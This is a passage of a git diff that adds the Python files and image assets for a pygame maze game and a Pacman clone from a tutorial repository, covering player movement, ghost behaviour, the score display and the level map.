+		return self.grid_cells
diff --git a/gui-programming/maze-game/player.py b/gui-programming/maze-game/player.py
new file mode 100644
index 00000000..0a671268
--- /dev/null
+++ b/gui-programming/maze-game/player.py
@@ -0,0 +1,66 @@
+import pygame
+
+class Player:
+	def __init__(self, x, y):
+		self.x = int(x)
+		self.y = int(y)
+		self.player_size = 10
+		self.rect = pygame.Rect(self.x, self.y, self.player_size, self.player_size)
+		self.color = (250, 120, 60)
+		self.velX = 0
+		self.velY = 0
+		self.left_pressed = False
+		self.right_pressed = False
+		self.up_pressed = False
+		self.down_pressed = False
+		self.speed = 4
+
+	# get current cell position of the player
+	def get_current_cell(self, x, y, grid_cells):
+		for cell in grid_cells:
+			if cell.x == x and cell.y == y:
+				return cell
+
+	# stops player to pass through walls
+	def check_move(self, tile, grid_cells, thickness):
+		current_cell_x, current_cell_y = self.x // tile, self.y // tile
+		current_cell = self.get_current_cell(current_cell_x, current_cell_y, grid_cells)
+		current_cell_abs_x, current_cell_abs_y = current_cell_x * tile, current_cell_y * tile
+		if self.left_pressed:
+			if current_cell.walls['left']:
+				if self.x <= current_cell_abs_x + thickness:
+					self.left_pressed = False
+		if self.right_pressed:
+			if current_cell.walls['right']:
+				if self.x >= current_cell_abs_x + tile - (self.player_size + thickness):
+					self.right_pressed = False
+		if self.up_pressed:
+			if current_cell.walls['top']:
+				if self.y <= current_cell_abs_y + thickness:
+					self.up_pressed = False
+		if self.down_pressed:
+			if current_cell.walls['bottom']:
+				if self.y >= current_cell_abs_y + tile - (self.player_size + thickness):
+					self.down_pressed = False
+
+	# drawing player to the screen
+	def draw(self, screen):
+		pygame.draw.rect(screen, self.color, self.rect)
+
+	# updates player position while moving
+	def update(self):
+		self.velX = 0
+		self.velY = 0
+		if self.left_pressed and not self.right_pressed:
+			self.velX = -self.speed
+		if self.right_pressed and not self.left_pressed:
+			self.velX = self.speed
+		if self.up_pressed and not self.down_pressed:
+			self.velY = -self.speed
+		if self.down_pressed and not self.up_pressed:
+			self.velY = self.speed
+
+		self.x += self.velX
+		self.y += self.velY
+
+		self.rect = pygame.Rect(int(self.x), int(self.y), self.player_size, self.player_size)
\ No newline at end of file
diff --git a/gui-programming/maze-game/requirements.txt b/gui-programming/maze-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/maze-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/pacman-game/README.md b/gui-programming/pacman-game/README.md
new file mode 100644
index 00000000..b57339e5
--- /dev/null
+++ b/gui-programming/pacman-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python)
\ No newline at end of file
diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc
new file mode 100644
index 00000000..ddbae820
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc
new file mode 100644
index 00000000..5ad6cc32
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc
new file mode 100644
index 00000000..d60b70df
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc
new file mode 100644
index 00000000..eac5abdb
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/berry.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc
new file mode 100644
index 00000000..b6faeb30
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc
new file mode 100644
index 00000000..40a3a84b
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-38.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc
new file mode 100644
index 00000000..fd64e006
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/cell.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc
new file mode 100644
index 00000000..ba76e7ed
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc
new file mode 100644
index 00000000..1088e54b
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/display.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc
new file mode 100644
index 00000000..795ec78b
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc
new file mode 100644
index 00000000..5d335cc4
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/ghost.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc
new file mode 100644
index 00000000..de82209f
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc
new file mode 100644
index 00000000..4cb12864
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-38.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc
new file mode 100644
index 00000000..fba2a144
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/pac.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc
new file mode 100644
index 00000000..42535766
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc
new file mode 100644
index 00000000..cc539698
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-38.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc
new file mode 100644
index 00000000..51f2254f
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/settings.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc
new file mode 100644
index 00000000..f50f2916
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-310.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc
new file mode 100644
index 00000000..9740cddc
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-38.pyc differ
diff --git a/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc
new file mode 100644
index 00000000..ebf307f2
Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/world.cpython-39.pyc differ
diff --git a/gui-programming/pacman-game/animation.py b/gui-programming/pacman-game/animation.py
new file mode 100644
index 00000000..d0e297b5
--- /dev/null
+++ b/gui-programming/pacman-game/animation.py
@@ -0,0 +1,11 @@
+from os import walk
+import pygame
+
+def import_sprite(path):
+	surface_list = []
+	for _, __, img_file in walk(path):
+		for image in img_file:
+			full_path = f"{path}/{image}"
+			img_surface = pygame.image.load(full_path).convert_alpha()
+			surface_list.append(img_surface)
+	return surface_list
\ No newline at end of file
diff --git a/gui-programming/pacman-game/assets/ghosts/orange/down.png b/gui-programming/pacman-game/assets/ghosts/orange/down.png
new file mode 100644
index 00000000..015c28a7
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/down.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/orange/left.png b/gui-programming/pacman-game/assets/ghosts/orange/left.png
new file mode 100644
index 00000000..3c7e6933
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/left.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/orange/right.png b/gui-programming/pacman-game/assets/ghosts/orange/right.png
new file mode 100644
index 00000000..20cf70f2
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/right.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/orange/up.png b/gui-programming/pacman-game/assets/ghosts/orange/up.png
new file mode 100644
index 00000000..1d5cf759
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/orange/up.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/pink/down.png b/gui-programming/pacman-game/assets/ghosts/pink/down.png
new file mode 100644
index 00000000..f64ce7cb
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/down.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/pink/left.png b/gui-programming/pacman-game/assets/ghosts/pink/left.png
new file mode 100644
index 00000000..3310b61f
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/left.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/pink/right.png b/gui-programming/pacman-game/assets/ghosts/pink/right.png
new file mode 100644
index 00000000..c3ffdf68
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/right.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/pink/up.png b/gui-programming/pacman-game/assets/ghosts/pink/up.png
new file mode 100644
index 00000000..62c5cf92
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/pink/up.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/red/down.png b/gui-programming/pacman-game/assets/ghosts/red/down.png
new file mode 100644
index 00000000..cdc1127d
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/down.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/red/left.png b/gui-programming/pacman-game/assets/ghosts/red/left.png
new file mode 100644
index 00000000..a8c042a8
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/left.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/red/right.png b/gui-programming/pacman-game/assets/ghosts/red/right.png
new file mode 100644
index 00000000..a68cc391
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/right.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/red/up.png b/gui-programming/pacman-game/assets/ghosts/red/up.png
new file mode 100644
index 00000000..295ad02b
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/red/up.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/down.png b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png
new file mode 100644
index 00000000..a8ea55a8
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/down.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/left.png b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png
new file mode 100644
index 00000000..d7abf43f
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/left.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/right.png b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png
new file mode 100644
index 00000000..8622bafc
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/right.png differ
diff --git a/gui-programming/pacman-game/assets/ghosts/skyblue/up.png b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png
new file mode 100644
index 00000000..d23fb66f
Binary files /dev/null and b/gui-programming/pacman-game/assets/ghosts/skyblue/up.png differ
diff --git a/gui-programming/pacman-game/assets/life/life.png b/gui-programming/pacman-game/assets/life/life.png
new file mode 100644
index 00000000..da08d810
Binary files /dev/null and b/gui-programming/pacman-game/assets/life/life.png differ
diff --git a/gui-programming/pacman-game/assets/pac/down/0.png b/gui-programming/pacman-game/assets/pac/down/0.png
new file mode 100644
index 00000000..2ab42a16
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/down/1.png b/gui-programming/pacman-game/assets/pac/down/1.png
new file mode 100644
index 00000000..dee79f95
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/down/1.png differ
diff --git a/gui-programming/pacman-game/assets/pac/idle/0.png b/gui-programming/pacman-game/assets/pac/idle/0.png
new file mode 100644
index 00000000..e330c06d
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/idle/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/left/0.png b/gui-programming/pacman-game/assets/pac/left/0.png
new file mode 100644
index 00000000..3004ca18
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/left/1.png b/gui-programming/pacman-game/assets/pac/left/1.png
new file mode 100644
index 00000000..dee79f95
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/left/1.png differ
diff --git a/gui-programming/pacman-game/assets/pac/power_up/0.png b/gui-programming/pacman-game/assets/pac/power_up/0.png
new file mode 100644
index 00000000..e48d80b0
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/power_up/1.png b/gui-programming/pacman-game/assets/pac/power_up/1.png
new file mode 100644
index 00000000..2880250a
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/power_up/1.png differ
diff --git a/gui-programming/pacman-game/assets/pac/right/0.png b/gui-programming/pacman-game/assets/pac/right/0.png
new file mode 100644
index 00000000..e330c06d
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/right/1.png b/gui-programming/pacman-game/assets/pac/right/1.png
new file mode 100644
index 00000000..dee79f95
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/right/1.png differ
diff --git a/gui-programming/pacman-game/assets/pac/up/0.png b/gui-programming/pacman-game/assets/pac/up/0.png
new file mode 100644
index 00000000..f960506b
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/0.png differ
diff --git a/gui-programming/pacman-game/assets/pac/up/1.png b/gui-programming/pacman-game/assets/pac/up/1.png
new file mode 100644
index 00000000..dee79f95
Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/1.png differ
diff --git a/gui-programming/pacman-game/berry.py b/gui-programming/pacman-game/berry.py
new file mode 100644
index 00000000..75ca0441
--- /dev/null
+++ b/gui-programming/pacman-game/berry.py
@@ -0,0 +1,20 @@
+import pygame
+
+from settings import CHAR_SIZE, PLAYER_SPEED
+
+class Berry(pygame.sprite.Sprite):
+	def __init__(self, row, col, size, is_power_up = False):
+		super().__init__()
+		self.power_up = is_power_up
+		self.size = size
+		self.color = pygame.Color("violetred")
+		self.thickness = size
+		self.abs_x = (row * CHAR_SIZE) + (CHAR_SIZE // 2)
+		self.abs_y = (col * CHAR_SIZE) + (CHAR_SIZE // 2)
+
+		# temporary rect for colliderect-checking
+		self.rect = pygame.Rect(self.abs_x,self.abs_y, self.size * 2, self.size * 2)
+
+	def update(self, screen):
+		self.rect = pygame.draw.circle(screen, self.color, (self.abs_x, self.abs_y), self.size, self.thickness)
+		
diff --git a/gui-programming/pacman-game/cell.py b/gui-programming/pacman-game/cell.py
new file mode 100644
index 00000000..dc17bd93
--- /dev/null
+++ b/gui-programming/pacman-game/cell.py
@@ -0,0 +1,17 @@
+import pygame
+
+class Cell(pygame.sprite.Sprite):
+	def __init__(self, row, col, length, width):
+		super().__init__()
+		self.width = length
+		self.height = width
+		self.id = (row, col)
+		self.abs_x = row * self.width
+		self.abs_y = col * self.height
+
+		self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height)
+
+		self.occupying_piece = None
+
+	def update(self, screen):
+		pygame.draw.rect(screen, pygame.Color("blue2"), self.rect)
\ No newline at end of file
diff --git a/gui-programming/pacman-game/display.py b/gui-programming/pacman-game/display.py
new file mode 100644
index 00000000..83c943c8
--- /dev/null
+++ b/gui-programming/pacman-game/display.py
@@ -0,0 +1,40 @@
+import pygame
+
+from settings import WIDTH, HEIGHT, CHAR_SIZE
+
+pygame.font.init()
+
+class Display:
+	def __init__(self, screen):
+		self.screen = screen
+		self.font = pygame.font.SysFont("ubuntumono", CHAR_SIZE)
+		self.game_over_font = pygame.font.SysFont("dejavusansmono", 48)
+		self.text_color = pygame.Color("crimson")
+				
+	def show_life(self, life):
+		img_path = "assets/life/life.png"
+		life_image = pygame.image.load(img_path)
+		life_image = pygame.transform.scale(life_image, (CHAR_SIZE, CHAR_SIZE))
+		life_x = CHAR_SIZE // 2
+
+		if life != 0:
+			for life in range(life):
+				self.screen.blit(life_image, (life_x, HEIGHT + (CHAR_SIZE // 2)))
+				life_x += CHAR_SIZE
+
+	def show_level(self, level):
+		level_x = WIDTH // 3
+		level = self.font.render(f'Level {level}', True, self.text_color)
+		self.screen.blit(level, (level_x, (HEIGHT + (CHAR_SIZE // 2))))
+
+	def show_score(self, score):
+		score_x = WIDTH // 3
+		score = self.font.render(f'{score}', True, self.text_color)
+		self.screen.blit(score, (score_x * 2, (HEIGHT + (CHAR_SIZE // 2))))
+
+	# add game over message
+	def game_over(self):
+		message = self.game_over_font.render(f'GAME OVER!!', True, pygame.Color("chartreuse"))
+		instruction = self.font.render(f'Press "R" to Restart', True, pygame.Color("aqua"))
+		self.screen.blit(message, ((WIDTH // 4), (HEIGHT // 3)))
+		self.screen.blit(instruction, ((WIDTH // 4), (HEIGHT // 2)))
\ No newline at end of file
diff --git a/gui-programming/pacman-game/ghost.py b/gui-programming/pacman-game/ghost.py
new file mode 100644
index 00000000..27d29cb7
--- /dev/null
+++ b/gui-programming/pacman-game/ghost.py
@@ -0,0 +1,70 @@
+import pygame
+import random
+import time
+
+from settings import WIDTH, CHAR_SIZE, GHOST_SPEED
+
+class Ghost(pygame.sprite.Sprite):
+	def __init__(self, row, col, color):
+		super().__init__()
+		self.abs_x = (row * CHAR_SIZE)
+		self.abs_y = (col * CHAR_SIZE)
+
+		self.rect = pygame.Rect(self.abs_x, self.abs_y, CHAR_SIZE, CHAR_SIZE)
+		self.move_speed = GHOST_SPEED
+		self.color = pygame.Color(color)
+		self.move_directions = [(-1,0), (0,-1), (1,0), (0,1)]
+
+		self.moving_dir = "up"
+		self.img_path = f'assets/ghosts/{color}/'
+		self.img_name = f'{self.moving_dir}.png'
+		self.image = pygame.image.load(self.img_path + self.img_name)
+		self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE))
+		self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y))
+		self.mask = pygame.mask.from_surface(self.image)
+
+		self.directions = {'left': (-self.move_speed, 0), 'right': (self.move_speed, 0), 'up': (0, -self.move_speed), 'down': (0, self.move_speed)}
+		self.keys = ['left', 'right', 'up', 'down']
+		self.direction = (0, 0)
+
+	def move_to_start_pos(self):
+		self.rect.x = self.abs_x
+		self.rect.y = self.abs_y
+
+	def is_collide(self, x, y, walls_collide_list):
+		tmp_rect = self.rect.move(x, y)
+		if tmp_rect.collidelist(walls_collide_list) == -1:
+			return False
+		return True
+
+	def _animate(self):
+		self.img_name = f'{self.moving_dir}.png'
+		self.image = pygame.image.load(self.img_path + self.img_name)
+		self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE))
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
+
+	def update(self, walls_collide_list):
+		# ghost movement
+		available_moves = []
+		for key in self.keys:
+			if not self.is_collide(*self.directions[key], walls_collide_list):
+				available_moves.append(key)
+		
+		randomizing = False if len(available_moves) <= 2 and self.direction != (0,0) else True
+		# 60% chance of randomizing ghost move
+		if randomizing and random.randrange( 0,100 ) <= 60:
+			self.moving_dir = random.choice(available_moves)
+			self.direction = self.directions[self.moving_dir]
+
+		if not self.is_collide(*self.direction, walls_collide_list):
+			self.rect.move_ip(self.direction)
+		else:
+			self.direction = (0,0)
+
+		# teleporting to the other side of the map
+		if self.rect.right <= 0:
+			self.rect.x = WIDTH
+		elif self.rect.left >= WIDTH:
+			self.rect.x = 0
+
+		self._animate()
diff --git a/gui-programming/pacman-game/main.py b/gui-programming/pacman-game/main.py
new file mode 100644
index 00000000..738c989f
--- /dev/null
+++ b/gui-programming/pacman-game/main.py
@@ -0,0 +1,32 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT, NAV_HEIGHT
+from world import World
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_HEIGHT))
+pygame.display.set_caption("PacMan")
+
+class Main:
+	def __init__(self, screen):
+		self.screen = screen
+		self.FPS = pygame.time.Clock()
+
+	def main(self):
+		world = World(self.screen)
+		while True:
+			self.screen.fill("black")
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+			world.update()
+			pygame.display.update()
+			self.FPS.tick(30)
+
+
+if __name__ == "__main__":
+	play = Main(screen)
+	play.main()
\ No newline at end of file
diff --git a/gui-programming/pacman-game/pac.py b/gui-programming/pacman-game/pac.py
new file mode 100644
index 00000000..c7b7242a
--- /dev/null
+++ b/gui-programming/pacman-game/pac.py
@@ -0,0 +1,93 @@
+import pygame
+
+from settings import CHAR_SIZE, PLAYER_SPEED
+from animation import import_sprite
+
+class Pac(pygame.sprite.Sprite):
+	def __init__(self, row, col):
+		super().__init__()
+
+		self.abs_x = (row * CHAR_SIZE)
+		self.abs_y = (col * CHAR_SIZE)
+
+		# pac animation
+		self._import_character_assets()
+		self.frame_index = 0
+		self.animation_speed = 0.5
+		self.image = self.animations["idle"][self.frame_index]
+		self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y))
+		self.mask = pygame.mask.from_surface(self.image)
+
+		self.pac_speed = PLAYER_SPEED
+		self.immune_time = 0
+		self.immune = False
+
+		self.directions = {'left': (-PLAYER_SPEED, 0), 'right': (PLAYER_SPEED, 0), 'up': (0, -PLAYER_SPEED), 'down': (0, PLAYER_SPEED)}
+		self.keys = {'left': pygame.K_LEFT, 'right': pygame.K_RIGHT, 'up': pygame.K_UP, 'down': pygame.K_DOWN}
+		self.direction = (0, 0)
+	
+		# pac status
+		self.status = "idle"
+		self.life = 3
+		self.pac_score = 0
+
+
+	# gets all the image needed for animating specific player action
+	def _import_character_assets(self):
+		character_path = "assets/pac/"
+		self.animations = {
+			"up": [],
+			"down": [],
+			"left": [],
+			"right": [],
+			"idle": [],
+			"power_up": []
+		}
+		for animation in self.animations.keys():
+			full_path = character_path + animation
+			self.animations[animation] = import_sprite(full_path)
+
+
+	def _is_collide(self, x, y):
+		tmp_rect = self.rect.move(x, y)
+		if tmp_rect.collidelist(self.walls_collide_list) == -1:
+			return False
+		return True
+
+
+	def move_to_start_pos(self):
+		self.rect.x = self.abs_x
+		self.rect.y = self.abs_y
+
+
+	# update with sprite/sheets
+	def animate(self, pressed_key, walls_collide_list):
+		animation = self.animations[self.status]
+
+		# loop over frame index
+		self.frame_index += self.animation_speed
+		if self.frame_index >= len(animation):
+			self.frame_index = 0
+		image = animation[int(self.frame_index)]
+		self.image = pygame.transform.scale(image, (CHAR_SIZE, CHAR_SIZE))
+
+		self.walls_collide_list = walls_collide_list
+		for key, key_value in self.keys.items():
+			if pressed_key[key_value] and not self._is_collide(*self.directions[key]):
+				self.direction = self.directions[key]
+				self.status = key if not self.immune else "power_up"
+				break
+		
+		if not self._is_collide(*self.direction):
+			self.rect.move_ip(self.direction)
+			self.status = self.status if not self.immune else "power_up"
+		if self._is_collide(*self.direction):
+			self.status = "idle" if not self.immune else "power_up"
+
+
+	def update(self):
+		# Timer based from FPS count
+		self.immune = True if self.immune_time > 0 else False
+		self.immune_time -= 1 if self.immune_time > 0 else 0
+
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
\ No newline at end of file
diff --git a/gui-programming/pacman-game/requirements.txt b/gui-programming/pacman-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/pacman-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/pacman-game/settings.py b/gui-programming/pacman-game/settings.py
new file mode 100644
index 00000000..671a476f
--- /dev/null
+++ b/gui-programming/pacman-game/settings.py
@@ -0,0 +1,33 @@
+MAP = [
+    ['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1'],
+	['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'],
+	['1','B','1','1',' ','1','1','1',' ','1',' ','1','1','1',' ','1','1','B','1'],
+	['1',' ',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ',' ','1'],
+	['1','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1',' ','1','1'],
+	['1',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ',' ','1',' ',' ','1'],
+	['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'],
+	['1',' ',' ',' ',' ',' ',' ',' ',' ','r',' ',' ',' ',' ',' ',' ',' ',' ','1'],
+	['1','1',' ','1','1','1',' ','1','1','-','1','1',' ','1','1','1',' ','1','1'],
+	[' ',' ',' ',' ',' ','1',' ','1','s','p','o','1',' ','1',' ',' ',' ',' ',' '],
+	['1','1',' ','1',' ','1',' ','1','1','1','1','1',' ','1',' ','1',' ','1','1'],
+	['1',' ',' ','1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1',' ',' ','1'],
+	['1',' ','1','1','1','1',' ','1','1','1','1','1',' ','1','1','1','1',' ','1'],
+	['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'],
+	['1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1'],
+	['1',' ',' ',' ','1',' ',' ',' ',' ','P',' ',' ',' ',' ','1',' ',' ',' ','1'],
+	['1','B','1',' ','1',' ','1',' ','1','1','1',' ','1',' ','1',' ','1','B','1'],
+	['1',' ','1',' ',' ',' ','1',' ',' ',' ',' ',' ','1',' ',' ',' ','1',' ','1'],
+	['1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1','1','1',' ','1'],
+	['1',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','1'],
+	['1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1','1']
+]
+
+BOARD_RATIO = (len(MAP[0]), len(MAP))
+CHAR_SIZE = 32
+
+WIDTH, HEIGHT = (BOARD_RATIO[0] * CHAR_SIZE, BOARD_RATIO[1] * CHAR_SIZE)
+NAV_HEIGHT = 64
+
+PLAYER_SPEED = CHAR_SIZE // 4
+
+GHOST_SPEED = 4
\ No newline at end of file
diff --git a/gui-programming/pacman-game/world.py b/gui-programming/pacman-game/world.py
new file mode 100644
index 00000000..2fbe33e4
--- /dev/null
+++ b/gui-programming/pacman-game/world.py
@@ -0,0 +1,169 @@
+import pygame
+import time
+
+from settings import HEIGHT, WIDTH, NAV_HEIGHT, CHAR_SIZE, MAP, PLAYER_SPEED
+from pac import Pac
+from cell import Cell
+from berry import Berry
+from ghost import Ghost
+from display import Display
+
+class World:
+	def __init__(self, screen):
+		self.screen = screen
+
+		self.player = pygame.sprite.GroupSingle()
+		self.ghosts = pygame.sprite.Group()
+		self.walls = pygame.sprite.Group()
+		self.berries = pygame.sprite.Group()
+
+		self.display = Display(self.screen)
+
+		self.game_over = False
+		self.reset_pos = False
+		self.player_score = 0
+		self.game_level = 1
+
+		self._generate_world()
+
+
+	# create and add player to the screen
+	def _generate_world(self):
+		# renders obstacle from the MAP table
+		for y_index, col in enumerate(MAP):
+			for x_index, char in enumerate(col):
+				if char == "1":	# for walls
+					self.walls.add(Cell(x_index, y_index, CHAR_SIZE, CHAR_SIZE))
+				elif char == " ":	 # for paths to be filled with berries
+					self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4))
+				elif char == "B":	# for big berries
+					self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 2, is_power_up=True))
+
+				# for Ghosts's starting position
+				elif char == "s":
+					self.ghosts.add(Ghost(x_index, y_index, "skyblue"))
+				elif char == "p": 
+					self.ghosts.add(Ghost(x_index, y_index, "pink"))
+				elif char == "o":
+					self.ghosts.add(Ghost(x_index, y_index, "orange"))
+				elif char == "r":
+					self.ghosts.add(Ghost(x_index, y_index, "red"))
+
+				elif char == "P":	# for PacMan's starting position 
+					self.player.add(Pac(x_index, y_index))
+
+		self.walls_collide_list = [wall.rect for wall in self.walls.sprites()]
+
+
+	def generate_new_level(self):
+		for y_index, col in enumerate(MAP):
+			for x_index, char in enumerate(col):
+				if char == " ":	 # for paths to be filled with berries
+					self.berries.add(Berry(x_index, y_index, CHAR_SIZE // 4))
+				elif char == "B":	# for big berries
